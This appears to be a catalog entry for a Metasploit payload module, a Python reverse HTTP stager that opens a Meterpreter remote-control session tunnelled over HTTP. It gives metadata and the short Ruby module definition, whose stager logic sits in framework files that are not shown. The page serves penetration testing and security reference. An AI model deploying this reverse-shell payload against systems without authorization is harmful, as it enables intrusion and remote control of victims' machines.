Python Meterpreter, Python Reverse HTTP Stager

2014-11-14T19:15:46
ID MSF:PAYLOAD/PYTHON/METERPRETER/REVERSE_HTTP
Type metasploit
Reporter Rapid7
Modified 2020-06-16T12:58:15

Description

Run a meterpreter server in Python (2.5-2.7 & 3.1-3.6). Tunnel communication over HTTP

                                        
                                            ##
# This module requires Metasploit: https://metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##

require 'msf/core/handler/reverse_http'
require 'msf/core/payload/python'
require 'msf/core/payload/python/reverse_http'

module MetasploitModule

  CachedSize = 569

  include Msf::Payload::Stager
  include Msf::Payload::Python
  include Msf::Payload::Python::ReverseHttp

  def initialize(info = {})
    super(merge_info(info,
      'Name'          => 'Python Reverse HTTP Stager',
      'Description'   => 'Tunnel communication over HTTP',
      'Author'        => 'Spencer McIntyre',
      'License'       => MSF_LICENSE,
      'Platform'      => 'python',
      'Arch'          => ARCH_PYTHON,
      'Handler'       => Msf::Handler::ReverseHttp,
      'Stager'        => {'Payload' => ""}
    ))
  end
end